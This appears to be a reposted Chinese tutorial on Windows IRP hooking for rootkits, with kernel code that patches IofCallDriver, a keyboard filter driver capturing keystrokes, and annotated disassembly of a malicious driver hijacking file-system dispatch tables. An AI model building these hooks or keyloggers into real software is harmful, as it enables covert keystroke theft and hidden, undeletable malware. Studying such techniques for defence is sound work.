RootKit之[五] IRP Hook全家福

IRP Hook 键盘Logger  作 者: cogito前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一 阅读详情
 作 者: combojiang
时 间: 2008-02-22,16:42
链 接: http://bbs.pediy.com/showthread.php?t=60022

年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有三种方式,一种是在起点拦截,一种是在半路拦截,一种是在终点拦截。 下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。 要理解这几种拦截,我们需要看看irp地传送过程。我们看下图的标准模型。请看大屏幕。  
名称:  8.JPG
查看次数: 855
文件大小:  9.4 KB
注意这个标准模型中,并不是每种IRP都经过这些步骤,由于设备类型和IRP种类的不同某些步骤会改变或根本不存在。

一、 IRP创建。
  由于IRP开始于某个实体调用I/O管理器函数创建它,可以使用下面任何一种函数创建IRP: 
  IoBuildAsynchronousFsdRequest 创建异步IRP(不需要等待其完成)。该函数和下一个函数仅适用于创建某些类型的IRP。 
  IoBuildSynchronousFsdRequest 创建同步IRP(需要等待其完成)。 
  IoBuildDeviceIoControlRequest 创建一个同步IRP_MJ_DEVICE_CONTROL或IRP_MJ_INTERNAL_DEVICE_CONTROL请求。 
  IoAllocateIrp 创建上面三个函数不支持的其它种类的IRP。 
  由此我们知道,第一种起点拦截的办法就清楚了,那就是HOOK这几个IRP的创建函数。
  由于函数有多个,并且此时irp虽然已经创建,但是还没有进程初始化,也就是说irp堆栈
  单元的内容还没有填充。因此起点拦截的办法是得不到有用信息的。这种办法无效。

二、 发往派遣例程
  那么irp是什么时间初始化的呢?
创建完IRP后,你可以调用IoGetNextIrpStackLocation函数获得该IRP第一个堆栈单元的指针。然后初始化这个堆栈单元。在初始化过程的最后,你需要填充MajorFunction代码。堆栈单元初始化完成后,就可以调用IoCallDriver函数把IRP发送到设备驱动程序了。IoCallDriver是一个宏,它内部实现中调用了IofCallDriver. 因此,到这里便有了第二种拦截方法,即中途拦截。
 
三、 派遣例程的作用
1)在派遣例程中完成irp。通常我们做的过滤驱动或者一些简单的驱动,都是这么完成的,直接在派遣例程中返回。不需要经过后面的步骤,派遣函数立即完成该IRP。 
例如:NTSTATUS  OnStubDispatch(  IN PDEVICE_OBJECT DeviceObject,
                                  IN PIRP           Irp
                                )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp, IO_NO_INCREMENT );
    return Irp->IoStatus.Status;
}
派遣例程把该IRP传递到处于同一堆栈的下层驱动程序 。
  在这种情况下,通过调用IcCallDriver可以将irp传递到其他的驱动,或者传递到下一层驱动,这时irp变成其他驱动要处理的事情,如果其他驱动的派遣例程处理了irp,就类似1)的情况了,如果没处理,继续向下传,如果中间FDO没有处理,最后传到最低层的硬件驱动上去,也就是我们所谓的PDO. 这个时候,I/O管理器就调用一次StartIo例程,硬件抽象层会通过硬件中断ISR,一个ISR最可能做的事就是调度DPC例程(推迟过程调用)。最后完成这个IRP.,回到I/O管理器。
排队该IRP以便由这个驱动程序中的其它例程来处理 。
例如:NTSTATUS DispatchXxx(...) 
{ 
  ... 
  IoMarkIrpPending(Irp);       
  IoStartPacket(device, Irp, NULL, NULL);      
  return STATUS_PENDING;        
}
如果设备正忙,IoStartPacket就把请求放到队列中。如果设备空闲,IoStartPacket将把社
备置成忙并调用StartIo例程。 接下来类似于2)中描述的那样,完成这样一个过程。
  
我们写驱动的时候,对感兴趣的irp,我们都会写派遣例程来进行处理。如果我们把派遣例程给替换了,便有了第三种的irp拦截。
对于第三种的拦截,有两种办法:
一种是写一个过滤驱动放在要拦截的驱动的上层,这是一种安全的办法。例如:
如果我们想拦截系统的文件操作,就必须拦截I/O管理器发向文件系统驱动程序的IRP。而拦 截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。具体方法如下:首先通过IoCreateDevice创 建自己的设备对象,然后调用IoGetDeviceObjectPointer来得到文件系统设备(Ntfs,Fastfat,Rdr或Mrxsmb, Cdfs)对象的指针,最后通过IoAttachDeviceToDeviceStack或者IoAttachDevice等函数,将自己的设备放到设备堆栈上成为一个过滤器。这是拦截IRP最常用也是最保险的方法。 

还有一种就是直接替换要拦截驱动对象的派遣例程函数表。它的方法更简单且更为直接。
例如:如果我们想拦截系统的文件操作,它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。然后将驱动对象中 MajorFunction数组中的打开,关闭,清除,设置文件信息,和写入调度例程入口地址改为我们驱动中相应钩子函数的入口地址来达到拦截IRP的目的。 

总结:
  1) 可用办法之一:hook IofCallDriver实现irp 拦截。
  2) 可用办法之二:写一个过滤驱动,挂在你要hook其irp的那个驱动之上。
  3) 可用办法之三:直接修改你要hook其irp的那个驱动的MajorFunction函数表。

针对于三种可用方法,我们分别给出例子说明:
方法一例子:没必要再细写,只需要注意一点:

lkd>  u IofCallDriver
nt!IofCallDriver:
804ef0f6 ff2500c85480    jmp     dword ptr [nt!pIofCallDriver (8054c800)]
804ef0fc cc              int     3
804ef0fd cc              int     3
804ef0fe cc              int     3


这里我们看到IofCallDriver的地址在开头偏移2个字节地方。看明白这个,后面代码的写法就能搞清楚。

#include "ntddk.h"

typedef NTSTATUS (FASTCALL
 *pIofCallDriver)(
 IN PDEVICE_OBJECT DeviceObject,
 IN OUT PIRP Irp);
 
 pIofCallDriver old_piofcalldriver;
 UNICODE_STRING SymbolicLinkName;
 PDRIVER_OBJECT g_drvobj;
 UNICODE_STRING DeviceName;
PDEVICE_OBJECT deviceObject;
ULONG oData;

#define IOCTL_DISABLE  CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8101,METHOD_BUFFERED,FILE_ANY_ACCESS)   
#define IOCTL_ENABLE   CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8100,METHOD_BUFFERED,FILE_ANY_ACCESS)   


 NTSTATUS FASTCALL
 NewpIofCallDriver(
 IN PDEVICE_OBJECT DeviceObject,
 IN OUT PIRP Irp
 )
 {
   NTSTATUS stat;
   DbgPrint("Hacked Great!");
  
   __asm
   {
   mov ecx,DeviceObject
   mov edx,Irp
   Call old_piofcalldriver
   mov stat,eax
   }
   return stat;
 }

 NTSTATUS DriverIoControl(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp)
 {
   PIO_STACK_LOCATION pisl;
   NTSTATUS ns = STATUS_UNSUCCESSFUL;
   ULONG BuffSize, DataSize;
   PVOID pBuff, pData,pInout;
   KIRQL OldIrql;
   ULONG i;
   pisl = IoGetCurrentIrpStackLocation (Irp);
  
   BuffSize = pisl->Parameters.DeviceIoControl.OutputBufferLength;
  
   pBuff = Irp->AssociatedIrp.SystemBuffer;
  
   Irp->IoStatus.Information = 0;
   switch(pisl->Parameters.DeviceIoControl.IoControlCode)
   {
     case IOCTL_DISABLE:
     {
       
       DbgPrint("IOCTL_DISABLE");
       ns = STATUS_SUCCESS;
      
     }
     break;
     case IOCTL_ENABLE:
     {
       
       DbgPrint("IOCTL_ENABLE");
       ns = STATUS_SUCCESS;
       
     }
     break;
   }
  
   Irp->IoStatus.Status = ns;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);
   return ns;
 }
  
 NTSTATUS DrivercreateClose(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp)
 {
   Irp->IoStatus.Information = 0;
   Irp->IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);
   return STATUS_SUCCESS;
  
 }
 
  void UnHookpIofCallDriver()
 {
   KIRQL oldIrql;
   ULONG addr = (ULONG)IofCallDriver;

   oldIrql = KeRaiseIrqlToDpcLevel();
   __asm
   {
     mov eax,cr0
     mov oData,eax
     and eax,0xffffffff
     mov cr0,eax
     mov eax,addr
     mov esi,[eax+2]
     mov eax,old_piofcalldriver
     mov dword ptr [esi],eax
     mov eax,oData
     mov cr0,eax
   }
   KeLowerIrql(oldIrql);
   return ;
 }
  
 VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
 {
    UnHookpIofCallDriver();
   IoDeleteSymbolicLink(&SymbolicLinkName);
   IoDeleteDevice(deviceObject);
 }

 NTSTATUS DriverClose(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp)
 {
   return DrivercreateClose(DeviceObject,Irp);
 }

 NTSTATUS IoComplete(
 IN PDEVICE_OBJECT DeviceObject,
 IN PIRP Irp)
 {
   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   return STATUS_SUCCESS; 
 }
  

 void HookpIofCallDriver()
 {
   KIRQL oldIrql;
   ULONG addr = (ULONG)IofCallDriver;
   __asm
   {
     mov eax,addr
     mov esi,[eax+2]
     mov eax,[esi]
     mov old_piofcalldriver,eax
   }
   oldIrql = KeRaiseIrqlToDpcLevel();
   __asm
   {
     mov eax,cr0
     mov oData,eax
     and eax,0xffffffff
     mov cr0,eax
     mov eax,addr
     mov esi,[eax+2]
     mov dword ptr [esi],offset NewpIofCallDriver
     mov eax,oData
     mov cr0,eax
   }
   KeLowerIrql(oldIrql);
   return ;
 }

 NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
 IN PUNICODE_STRING RegistryPath)
 {
   NTSTATUS status;
   PDRIVER_DISPATCH *ppdd;
   ULONG i;
   PCWSTR dDeviceName = L"//Device//irphook";
   PCWSTR dSymbolicLinkName = L"//DosDevices//irphook";
  
   RtlInitUnicodeString(&DeviceName, dDeviceName);
   RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
   status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject);
   if (!NT_SUCCESS(status)) return status;
   status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);

  
   DriverObject->DriverUnload = DriverUnload;
   ppdd = DriverObject->MajorFunction;
   for(i =0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
     ppdd[i] = IoComplete;
  
   ppdd [IRP_MJ_CREATE] = DrivercreateClose;
   ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
   g_drvobj = DriverObject;
   HookpIofCallDriver();
   return status;
 }

方法二例子
这个例子比较长,我们只看关键代码并说明.

1。将自己挂接到"//Device//KeyboardClass0"设备上
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
  DbgPrint("Entering Hook Routine.../n");
  PDEVICE_OBJECT pKeyboardDeviceObject;

  NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
    FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);

  if(!NT_SUCCESS(status))
    return status;
  
  DbgPrint("Created keyboard device successfully.../n");

  
  pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
  pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
  DbgPrint("Flags set succesfully.../n");

  RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
  DbgPrint("Device Extension Initialized.../n");

  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; 
  
  
  CCHAR     ntNameBuffer[64] = "//Device//KeyboardClass0";
    STRING     ntNameString;
  UNICODE_STRING uKeyboardDeviceName;
    RtlInitAnsiString( &ntNameString, ntNameBuffer );
    RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
  IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
  RtlFreeUnicodeString(&uKeyboardDeviceName);
  DbgPrint("Filter Device Attached Successfully.../n");

  return STATUS_SUCCESS;
}

//我们感兴趣的irp处理。由于我们要处理的按键信息,需要等底层驱动处理完成返回后才能取回
//按键值,因此,我们设置完成例程,用于底层驱动完成irp后回调我们的例程。我们设置好完成例//程后,就把irp传到底层驱动进行处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
  
  DbgPrint("Entering DispatchRead Routine.../n");
  
  PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
  PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
  *nextIrpStack = *currentIrpStack;

  IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);


   numPendingIrps++;

  DbgPrint("Tagged keyboard 'read' IRP... Passing IRP down the stack... /n");

  return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);

}

//这是完成例程,我们在这里处理得到的按键信息。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
  DbgPrint("Entering OnReadCompletion Routine.../n");

  
  PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension; 
  

  if(pIrp->IoStatus.Status == STATUS_SUCCESS)
  {
    PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
    int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

    for(int i = 0; i < numKeys; i++)
    {
      DbgPrint("ScanCode: %x/n", keys[i].MakeCode);
      
      if(keys[i].Flags == KEY_BREAK)
        DbgPrint("%s/n","Key Up");
      
      if(keys[i].Flags == KEY_MAKE)
        DbgPrint("%s/n","Key Down");
    
      
      KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
              
    
      kData->KeyData = (char)keys[i].MakeCode;
      kData->KeyFlags = (char)keys[i].Flags;

      DbgPrint("Adding IRP to work queue...");
      ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
      &kData->ListEntry,
      &pKeyboardDeviceExtension->lockQueue);
      KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);

    }
  }

  
  if(pIrp->PendingReturned)
    IoMarkIrpPending(pIrp);

   numPendingIrps--;

  return pIrp->IoStatus.Status;
}

在这个demo中要注意的是,由于irp的处理函数的IRQL = DISPATCH_LEVEL,因此,我们申请内存的话,只能申请非分页内存。在这个IRQL级别,我们不能创建或者保存文件来记录按键信息。
我们只能创建一个系统线程,在系统线程中完成按键信息的保存。
后面附上DEMO.

方法三的例子
,偶比较懒了,就从流氓软件逆向代码中抠出一段来贴上。有时间的话,我会再写一个demo附上。我已经给加上了详细地注释,很容易明白。
.text:000186A4 sub_186A4       proc near               ; CODE XREF: sub_16FDA+19p
.text:000186A4
.text:000186A4 DestinationString= UNICODE_STRING ptr -18h
.text:000186A4 var_10          = dword ptr -10h
.text:000186A4 var_C           = dword ptr -0Ch
.text:000186A4 var_8           = dword ptr -8
.text:000186A4 var_4           = dword ptr -4
.text:000186A4
.text:000186A4                 push    ebp
.text:000186A5                 mov     ebp, esp
.text:000186A7                 sub     esp, 18h
.text:000186AA                 push    ebx
.text:000186AB                 push    esi
.text:000186AC                 push    edi
.text:000186AD                 push    10h
.text:000186AF                 pop     ecx             ; ecx = 10h
.text:000186B0                 xor     eax, eax
.text:000186B2                 mov     edi, offset dword_36DE0
.text:000186B7                 mov     esi, offset dword_36DFC
.text:000186BC                 rep stosd               ; 清零dword_36de0至dword_36e20的空间
.text:000186BE                 mov     [ebp+var_10], offset aFilesystemNtfs ; "//FileSystem//Ntfs"
.text:000186C5                 mov     [ebp+var_C], offset aFilesystemFast ; "//FileSystem//Fastfat"
.text:000186CC                 mov     ebx, esi
.text:000186CE                 lea     edi, [ebp+var_10]
.text:000186D1                 mov     [ebp+var_8], 2  ; var_8是一个循环变量
.text:000186D8
.text:000186D8 loc_186D8:                              ; CODE XREF: sub_186A4+72j
.text:000186D8                 push    dword ptr [edi] ; SourceString
.text:000186DA                 lea     eax, [ebp+DestinationString]
.text:000186DD                 push    eax             ; DestinationString
.text:000186DE                 call    ds:RtlInitUnicodeString ; 转换"//FileSystem//Ntfs"字符串为UNICODE_STRING类型
.text:000186E4                 lea     eax, [ebp+var_4] ; 用于存放输出的Object指针
.text:000186E7                 push    eax
.text:000186E8                 xor     eax, eax
.text:000186EA                 push    eax
.text:000186EB                 push    eax
.text:000186EC                 push    ds:IoDriverObjectType
.text:000186F2                 push    eax
.text:000186F3                 push    eax
.text:000186F4                 push    40h
.text:000186F6                 lea     eax, [ebp+DestinationString]
.text:000186F9                 push    eax
.text:000186FA                 call    ds:ObReferenceObjectByName ; NTSTATUS
.text:000186FA                                         ; ObReferenceObjectByName (
.text:000186FA                                         ;     __in PUNICODE_STRING ObjectName,
.text:000186FA                                         ;     __in ULONG Attributes,
.text:000186FA                                         ;     __in_opt PACCESS_STATE AccessState,
.text:000186FA                                         ;     __in_opt ACCESS_MASK DesiredAccess,
.text:000186FA                                         ;     __in POBJECT_TYPE ObjectType,
.text:000186FA                                         ;     __in KPROCESSOR_MODE AccessMode,
.text:000186FA                                         ;     __inout_opt PVOID ParseContext,
.text:000186FA                                         ;     __out PVOID *Object
.text:000186FA                                         ;     )
.text:000186FA                                         ;
.text:000186FA                                         ; /*++
.text:000186FA                                         ;
.text:000186FA                                         ; Routine Description:
.text:000186FA                                         ;
.text:000186FA                                         ;     Given a name of an object this routine returns a pointer
.text:000186FA                                         ;     to the body of the object with proper ref counts
.text:000186FA                                         ;
.text:000186FA                                         ; Arguments:
.text:000186FA                                         ;
.text:000186FA                                         ;     ObjectName - Supplies the name of the object being referenced
.text:000186FA                                         ;
.text:000186FA                                         ;     Attributes - Supplies the desired handle attributes
.text:000186FA                                         ;
.text:000186FA                                         ;     AccessState - Supplies an optional pointer to the current access
.text:000186FA                                         ;         status describing already granted access types, the privileges used
.text:000186FA                                         ;         to get them, and any access types yet to be granted.
.text:000186FA                                         ;
.text:000186FA                                         ;     DesiredAccess - Optionally supplies the desired access to the
.text:000186FA                                         ;         for the object
.text:000186FA                                         ;
.text:000186FA                                         ;     ObjectType - Specifies the object type according to the caller
.text:000186FA                                         ;
.text:000186FA                                         ;
.text:00018700                 test    eax, eax        ; AccessMode - Supplies the processor mode of the access
.text:00018700                                         ;
.text:00018700                                         ;     ParseContext - Optionally supplies a context to pass down to the
.text:00018700                                         ;         parse routine
.text:00018700                                         ;
.text:00018700                                         ;     Object - Receives a pointer to the referenced object body
.text:00018700                                         ;
.text:00018700                                         ; Return Value:
.text:00018700                                         ;
.text:00018700                                         ;     An appropriate NTSTATUS value
.text:00018700                                         ;
.text:00018700                                         ; --*/
.text:00018702                 jge     short loc_18708 ; 成功则跳转
.text:00018704                 and     [ebp+var_4], 0
.text:00018708
.text:00018708 loc_18708:                              ; CODE XREF: sub_186A4+5Ej
.text:00018708                 mov     eax, [ebp+var_4] ; 分别取出"//FileSystem//Fastfat"和"//FileSystem//Ntfs"的对象指针
.text:0001870B                 mov     [ebx], eax
.text:0001870D                 add     edi, 4          ; edi指向var_c
.text:00018710                 add     ebx, 20h        ; ebx指向36e10
.text:00018713                 dec     [ebp+var_8]
.text:00018716                 jnz     short loc_186D8
.text:00018718                 mov     edi, ds:InterlockedExchange
.text:0001871E                 push    2
.text:00018720                 pop     ebx             ; ebx = 2,用作计数
.text:00018721
.text:00018721 loc_18721:                              ; CODE XREF: sub_186A4+DCj
.text:00018721                 mov     eax, [esi]      ; 取前面得到的object指针
.text:00018723                 test    eax, eax
.text:00018725                 jz      short loc_1877C ; 如果取出的对象指针为空,则跳转
.text:00018727                 lea     ecx, [eax+38h]  ; Target
.text:0001872A                 mov     edx, offset loc_184C7 ; Value
.text:0001872F                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CREATE]
.text:00018731                 mov     ecx, [esi]
.text:00018733                 add     ecx, 40h        ; Target
.text:00018736                 mov     edx, offset loc_1851F ; Value
.text:0001873B                 mov     [esi-1Ch], eax  ; 保存原始值
.text:0001873E                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CLOSE]
.text:00018740                 mov     ecx, [esi]
.text:00018742                 add     ecx, 50h        ; Target
.text:00018745                 mov     edx, offset loc_18577 ; Value
.text:0001874A                 mov     [esi-18h], eax  ; 保存原始值
.text:0001874D                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_SET_INFORMATION],用于防删除
.text:0001874F                 mov     ecx, [esi]
.text:00018751                 add     ecx, 48h        ; Target
.text:00018754                 mov     edx, offset loc_185CF ; Value
.text:00018759                 mov     [esi-14h], eax  ; 保存原始值
.text:0001875C                 call    edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_WRITE]
.text:0001875E                 mov     [esi-10h], eax  ; 保存原始值
.text:00018761                 mov     eax, [esi]
.text:00018763                 mov     eax, [eax+28h]  ; FastIoDispatch
.text:00018766                 test    eax, eax
.text:00018768                 jz      short loc_1877C ; 取下一个,并计数器减一
.text:0001876A                 lea     ecx, [eax+0Ch]  ; Target
.text:0001876D                 cmp     dword ptr [ecx], 0 ; 判断FastIoDispatch->FastIoWrite是否为空
.text:00018770                 jz      short loc_1877C ; 取下一个,并计数器减一
.text:00018772                 mov     edx, offset sub_18627 ; Value
.text:00018777                 call    edi ; InterlockedExchange ; 替换FastIoDispatch->FastIoWrite
.text:00018779                 mov     [esi-8], eax    ; 保存原始值
.text:0001877C
.text:0001877C loc_1877C:                              ; CODE XREF: sub_186A4+81j
.text:0001877C                                         ; sub_186A4+C4j ...
.text:0001877C                 add     esi, 20h        ; 取下一个,并计数器减一
.text:0001877F                 dec     ebx
.text:00018780                 jnz     short loc_18721 ; 取前面得到的object指针
.text:00018782                 pop     edi
.text:00018783                 pop     esi
.text:00018784                 pop     ebx
.text:00018785                 leave
.text:00018786                 retn
.text:00018786 sub_186A4       endp
.text:00018786
上传的附件
文件类型: rarirphook1.rar (2008-02-22 16:48, 33.4 KB, 285 次下载)
文件类型: rarirphook2.rar (2008-02-22 16:48, 83.0 KB, 272 次下载)
文件类型: rarirphook3.rar (2008-02-22 16:49, 506.8 KB, 292 次下载)
x86 IRP HOOK 内核中一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O Request Packet IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。 以下是微软公司DDK定义的标准IRP类型列表: // Define the 阅读详情

相关推荐

2020黑客大会——深入浅出现代Windows Rootkit

为什么你会想到用一个Rootkit? 一、内核驱动在机器里有着很高的权限 二、与一个传统的反病毒软件的权限相同 三、相对于用户层来说,对于内核病毒的解决措施(mitigations)和方案更少 四、反病毒软件对于Rootkit的动作可见度较差 五、反病毒软件容易忽略驱动 驱动利用与签名 利用合法的驱动有很多的(quite a few)好处: 1.简单地修改就可以做到提权 2.找到一个有漏洞的驱动是相对简单(relatively trivial)的一件事 加载驱动 3.不容易被检测到 缺点就是:依赖操作系统,

摔不死的笨鸟的博客 1156

[转载]关于文件系统和磁盘驱动的一点学习心得

<br />原文地址:http://hi.baidu.com/weolar/blog/item/34a8ff19be316572dbb4bd4f.html<br /> <br />今天看到sudami同学问起这些东西,好久没搞了,很生疏,所以重新学习了一下,有点小小心得:<br />在我的理解中,设备对象(drevobj)相当于驱动对象(drvobj)创建的子对象,用来形成设备链,从而接受、处理数据的。设备对象挂到设备 链中,接受到了被设备管理器派遣的IRP时(某本书上好像说,没有真正所谓的设备管理器,只

wowbell的专栏 2525

CFB:Canadian Furious Beaver是一种工具,用于劫持Windows驱动程序中的IRP处理程序,并简化分析Windows驱动程序漏洞的过程

理念 Furious Beaver是用于捕获发送到任何Windows驱动程序的IRP的分布式工具。 它分为两个部分: “代理”将用户区域代理和自IrpDumper.sys驱动程序( IrpDumper.sys )结合在一起,该驱动程序会将自身安装在目标系统上。 一旦运行,它将公开(取决于编译选项)远程命名管道(可从\\target.ip.address\pipe\cfb )或侦听TCP / 1337的TCP端口。 通过设计使通信协议变得简单(即不安全),允许任何轻松地(通过简单的JSON消息)转储来自同一Broker的驱动程序IRP。 GUI是采用ProcMon风格制作的Windows 1

IRP概述

<br /><br />原文地址:http://hi.baidu.com/noah1618/blog/item/a946368215a0e6b86d8119fc.html<br /><br /><br />一、简述<br />任何内核模式程序在创建一个IRP时,都同时创建了一个与之关联的IO_STACK_LOCATION结构数组:数组中的每个堆栈单元都对应一个将处理该IRP的驱动程序,另外还有一个堆栈单元供IRP的创建者使用。堆栈单元中包含该IRP的类型代码和参数信息以及完成函数的地址。IRP的Curren

残酷な天使 803

IRQ中断详解

详细介绍了IRQ中断的问题,介绍了IRQ的初始化,编写等。

拦截驱动文件,最好用的驱动拦截小工具

拦截驱动文件 安装任何软件安装驱动!最好用的驱动拦截小工具

公司内部文档安全软件coredump分析实例

系统: windows xp sp3 崩溃软件: 公司内部某文档安全软件 调试工具: windbg 反汇编工具: ida pro 5.5 介绍: 该文档安全软件是由公司内部vpn工具启动,当在vpn工具输入用户密码连接网络后,vpn工具会自动把文档安全软件启动, 但每次启动都会coredump. 由于电脑用了windbg作为实时调试器,每次启动windbg都会弹出来, 显示coredu

debugeeker的专栏 3243

IRP HOOK 拦截ring0驱动层的IRP包.ring0 rootkit hook

IRP HOOK 拦截ring0驱动层的IRP包.ring0 rootkit hook

IoAttachDeviceToDeviceStack() windows内核安全书中错误

吐槽一下,不管怎么说也是一本出版的书, 这么多明显的错误,作者理解错的离谱,作者不知道这么想的。 添加链接描述

Ghjhfssfgk的博客 337

Rootkit端口隐藏技术_rootkithook_hook_rootkit_creature2ka_隐藏驱动

ROOTKIT 利用hook技术可以隐藏指定的端口 需要以驱动加载的形式把hook加载进内核 这里利用了insdrv工具

【血汗泪心路历程】怎么彻底删掉Sangfor文件?怎么彻底删除easyconnect?删除sangfor后网络坏了、某些app无法正常启动怎么解决?

教程来源于网络的五湖四海+gpt解答。用到了好几个教程和方法,遂这篇总结一下。会标明出处!先上一下战绩:终于把sangfor扔进回收站里了!!!哈哈哈那一刻真的好爽。

weixin_71246590的博客 6万+

IRP Hook

谈到irp拦截,基本上有三种方式 在起点拦截 在半路拦截 在终点拦截 下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。 要理解这几种拦截,我们需要看看irp地传送过程。 (注意并不是每种IRP都经过这些步骤,由于设备类型和IRP种类的不同某些步骤会改变或根本不存在。) 一、IRP创建。 由于IRP开始于某个实体调用I/O管理器函数创建它,可以使用下面任何一种函数创建IRP: IoBuildAsynchronousFsdRequest 创建异步IRP(不需要等待其完成)。该函数和下一个函数仅适

LYSM 1261

Arch Linux双系统安装避坑指南:从Windows分区到桌面环境全流程

本文提供了一份详尽的Arch Linux与Windows双系统安装避坑指南。内容涵盖从安装前的UEFI环境确认、BitLocker处理、分区规划,到Live环境进入、基础系统安装、GRUB引导配置,再到显卡驱动安装、KDE/GNOME桌面环境部署及中文化设置的全流程。重点解决了双系统安装中的核心痛点,帮助用户在不破坏现有Windows系统的前提下,顺利完成Arch Linux的安装。

nice1的博客 535

rootkit hook 之[五] -- IRP Hook全家福

<br />年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有三种方式,一种是在起 点拦截,一种是在半路拦截,一种是在终点拦截。 下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。 要理解这几种拦截,我们需要看看irp地传 送过程。我们看下图的标准模型。请看大屏幕。  <br />8.JPG下载此附件需要消耗2Kx,下载中会自动扣除。<br /> 注意这个标准模型中,并不是每种IRP都经过这些步骤,由于设备类型和IRP

kansa1988的专栏 490

保姆级教程:用sw_urdf_exporter插件将Solidworks机械臂模型转为ROS可用的URDF

本文提供了一份详细的保姆级教程,指导用户使用sw_urdf_exporter插件将Solidworks机械臂模型转换为ROS可用的URDF文件。从环境准备、插件配置到模型预处理和关键参数设置,再到ROS环境集成测试和性能优化,全面覆盖了机械臂URDF转换的全流程。特别适合机器人工程师和ROS开发者快速实现Solidworks模型到ROS环境的无缝迁移。

weixin_29300931的博客 398

材料仿真软件:LAMMPS_(8).温度和压力控制

在 LAMMPS 中,温度和压力的控制是通过多种恒温器和恒压器实现的。Nose-Hoover 恒温器和恒压器因其准确性和广泛适用性而被经常使用,而 Berendsen 恒温器和恒压器则因其计算效率高而适用于初步仿真或粗粒化模型。温度重标和压力重标方法虽然简单,但在某些情况下可以快速调整系统的温度和压力。通过选择合适的控制方法,可以根据具体的需求和系统特性来设计和运行分子动力学仿真,从而获得准确和可靠的结果。在实际应用中,建议先进行初步的仿真以确定合适的控制参数,然后再进行细致的仿真以验证结果的稳定性。

kkchenjj的博客 1692

【原创】rootkit hook 之[五] -- IRP Hook全家福

标 题: 【原创】rootkit hook 之[五] -- IRP Hook全家福 作 者: combojiang 时 间: 2008-02-22,16:42:48 链 接: http://bbs.pediy.com/showthread.php?t=60022 年过得真快,马上过完了。我们今天一起来汇总看看IRP HOOK的方法。又是长篇大论,别着急,慢慢看。谈到irp拦截,基本上有

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 900

PCL 加权局部最优投影(WLOP)简化算法

